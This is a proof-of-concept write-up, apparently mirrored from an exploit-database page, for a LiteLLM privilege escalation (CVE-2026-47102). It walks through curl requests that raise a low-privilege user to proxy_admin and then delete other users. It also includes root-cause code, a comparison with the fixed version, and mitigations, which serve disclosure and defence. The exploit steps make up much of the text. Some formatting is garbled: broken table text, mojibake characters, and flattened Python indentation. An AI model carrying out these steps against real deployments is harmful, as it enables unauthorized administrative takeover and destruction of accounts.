Share
## https://sploitus.com/exploit?id=16141140-4972-503C-85D5-308A4B232C22
# CVE-2026-47102 – LiteLLM Privilege Escalation via `/user/update`

> **LiteLLM** v1.83.7 (v1.83.10 or earlier versions)’s `/user/update` endpoint allows users with access to this endpoint to escalate their privileges without authorization. A low-privilege user modifies the `user_role` field to `proxy_admin` when updating their account, thereby achieving privilege escalation. | Field | Value |
|-------|-------|
| **CVE** | **CVE-2026-47102** |
| **CVSS v3.1** | **8.8 (HIGH)** β€” `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` |
| **CWE** | CWE-863 (Incorrect Authorization) |
| **Affected** | LiteLLM **two vulnerabilities can be used in conjunction:** CVE-2026-47101 is used to create a wildcard routing key (for accessing `/user/update`), and CVE-2026-47102 is used to escalate the user’s role to `proxy_admin`. ---

## Proof of Concept

### Environment Preparation

```bash
# 1. Start PostgreSQL + LiteLLM (v1.83.7-stable)
docker compose up -d litellm

# Wait for service to be ready (about 10-30 seconds)
sleep 15
```

### Confirm Service Is Running

```bash
# Check container logs
docker logs litellm-47102-privesc 2>&1 | tail -10
```

The expected output should include logs indicating successful startup, such as β€œUvicorn running on http://0.0.0.0:4000”. ### Step 1: Create an `internal_user` account

Use the master key to create a low-privilege `internal_user` account:

```bash
curl -s -X POST http://localhost:4002/user/new \
 -H "Authorization: Bearer sk-litellm-master-key" \
 -H "Content-Type: application/json" \
 -d '{"role": "internal_user"}'
```

Expected output:

```json
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
```

### Step 2: Grant an API key with `/user/update` permission

The administrator creates an API key with `/user/update` permission for `internal_user`. This is a typical way of having access to the `/user/update` endpoint in a real environment:

```bash
# Use the master key to generate a key with `/user/update` permission
curl -s -X POST http://localhost:4002/key/generate \
 -H "Authorization: Bearer sk-litellm-master-key" \
 -H "Content-Type: application/json" \
 -d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'
```

Expected output:

```json
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
```

### Step 3: Escalate privileges to `proxy_admin` (CVE-2026-47102)

Use the key obtained in step 2 to escalate the user’s role to `proxy_admin`:

```bash
curl -s -X POST http://localhost:4002/user/update \
 -H "Authorization: Bearer sk-route-key" \
 -H "Content-Type: application/json" \
 -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
```

Expected output:

```json
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
```

> ⚠️ **Vulnerability:** The `user_role` has been changed from `internal_user` to `proxy_admin`! The `/user/update` endpoint allows users to modify their `user_role` field without any level of permission restrictions. ### Step 4: Verify administrator access permissions

Verify that the privilege escalation takes effect by using the `/user/list` endpoint (using the original `internal_user` API key, which has no routing restrictions and automatically gains management permissions after being escalated to `proxy_admin`):

```bash
# Use the key obtained after escalating privileges to `proxy_admin` (the original `internal_user` key, with no routing restrictions)
curl -s -X GET http://localhost:4002/user/list \
 -H "Authorization: Bearer sk-internal-user-key" \
 -H "Content-Type: application/json"
```

```
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
```

### Step 5: Expansion β€” Deleting Administrator Users

Using the obtained `proxy_admin` permissions, any user can be deleted using `/user/delete`
(Also using the original internal_user’s API key):

```bash
curl -s -X POST http://localhost:4002/user/delete \
 -H "Authorization: Bearer sk-internal-user-key" \
 -H "Content-Type: application/json" \
 -d '{"user_ids": ["user-id-to-delete"]}'
```

Expected Output:

```
1
```

---

### One-Click Replay

The above steps have been integrated into `demo.sh`, which can be executed directly:

```bash
# Full replay (including vulnerable version + comparison with fixed version)
bash demo.sh
```

---

## Verification of Fixed Version

Start the fixed version (v1.83.10-stable) and verify that CVE-2026-47102 has been fixed:

```bash
docker compose --profile fixed up -d litellm-fixed
```

Create `internal_user`:

```bash
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
 -H "Authorization: Bearer sk-litellm-master-key" \
 -H "Content-Type: application/json" \
 -d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")
```

Create a key for the `/user/update` route:

```bash
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
 -H "Authorization: Bearer sk-litellm-master-key" \
 -H "Content-Type: application/json" \
 -d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
 python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
```

Try to escalate permissions (expected to be blocked):

```bash
curl -s -X POST http://localhost:4003/user/update \
 -H "Authorization: Bearer $FIXED_ROUTE_KEY" \
 -H "Content-Type: application/json" \
 -d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"
```

Expected Output (fixed version prevents unauthorized requests):

```json
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}
```

Comparison with the vulnerable version:

| Test Scenario | Vulnerable Version (v1.83.7) | Fixed Version (v1.83.10) |
|--------------|-------------------------|-------------------------|
| Modifying route key to user_role | βœ… Successfully escalated to proxyadmin | ❌ Blocked ("Only proxy admins can modify user roles.") |
| Accessing /user/list | βœ… Successfully retrieved user list | ❌ Blocked |

---

## Root Cause Analysis

The root cause of the vulnerability lies in the `can_user_call_user_update()` function at the `/user/update` endpoint:

### `/user/update` β€” Missing field-level permission checks

```python
# Vulnerable code β€” internal_user_endpoints.py:1197-1208
def can_user_call_user_update(user_api_key_dict, user_info):
 if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
 return True # Administrators can update any user
 elif user_api_key_dict.user_id == user_info.user_id:
 return True # ❌ Users can update their own records β€” including the user_role field! return False
```

Fixing this in the v1.83.10+ version:

```python
def can_user_call_user_update(user_api_key_dict, user_info, data):
```

```python
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
 return True # Administrators can still update any user and fields
elif user_api_key_dict.user_id == user_info.user_id:
 # Limit fields that non-administrators cannot modify
 allowed_fields = {"metadata", "display_name", "email"}
 requested_fields = set(data.keys())
 forbidden = requested_fields - allowed_fields
 if forbidden:
 raise ForbiddenError(f"Cannot modify fields: {forbidden}")
 return True
return False
```

---

## Exploitation Technique

### Prerequisites
An attacker needs an API key that allows access to the `/user/update` endpoint. This can be obtained in the following ways:
1. **Administrator-supplied route permissions** β€” An administrator creates a key with the `/user/update` route.
2. **CVE-2026-47101** β€” Utilizing the wildcard route vulnerability in `/key/generate`, a wildcard key can be created.
3. **`org_admin` role** β€” In some configurations, `org_admin` has permission to access `/user/update`.

### Attack Steps

**Step 1:** Obtain an API key with permission to the `/user/update` route.

**Step 2:** Call `/user/update` to elevate the role:

```json
POST /user/update
Authorization: Bearer sk-route-key
Content-Type: application/json

{"user_id": "target-user-id", "user_role": "proxy_admin"}
```

**Step 3:** Verify administrator permissions:

```json
GET /user/list
Authorization: Bearer sk-route-key
```

---

## Patch Analysis (v1.83.10)

This patch fixes the addition of field-level permissions in `/user/update`:

1. **Limit fields that non-administrators cannot modify** β€” `internal_user` can only update non-critical fields like `metadata`.
2. **Protect the `user_role` field** β€” Only `proxy_admin` can modify the user role.
3. **Maintain the ability to update oneself** β€” Users can still update their basic information, but cannot elevate their permissions.

Error message: `"Only proxy admins can modify user roles."`

---

## Repository Structure

```
CVE-2026-47102/
β”œβ”€β”€ README.md # This file
β”œβ”€β”€ CVE-2026-47102_.docx # Reproduction report (Chinese)
β”œβ”€β”€ docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
β”œβ”€β”€ config.yaml # LiteLLM config with database connection
β”œβ”€β”€ requirements.txt # Python dependencies
β”œβ”€β”€ demo.sh # One-click reproduction script
β”œβ”€β”€ exploit/
β”‚ β”œβ”€β”€ exploit.py # Python exploit script
β”‚ └── payload.py # Payload builders
β”œβ”€β”€ docs/
└── screenshots/
```

---

## Mitigation

1. **Upgrade** to LiteLLM **v1.83.10+** (field-level permissions in `/user/update` fixed).
2. **Restrict** API key route privileges β€” Grant only necessary routes.
3. **Audit** existing users and keys for signs of privilege escalation.
4. **Monitor** `/user/update` calls with `user_role` changes for abnormal activity.

---

## References

- [NVD Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-47102)
- [Obsidian Security Advisory](https://www.obsidiansecurity.com/blog)

---

> **Disclaimer:** This content is provided for **educational purposes and authorized security testing only.**

[source-iocs-preserved url=http://0.0.0.0:4000`]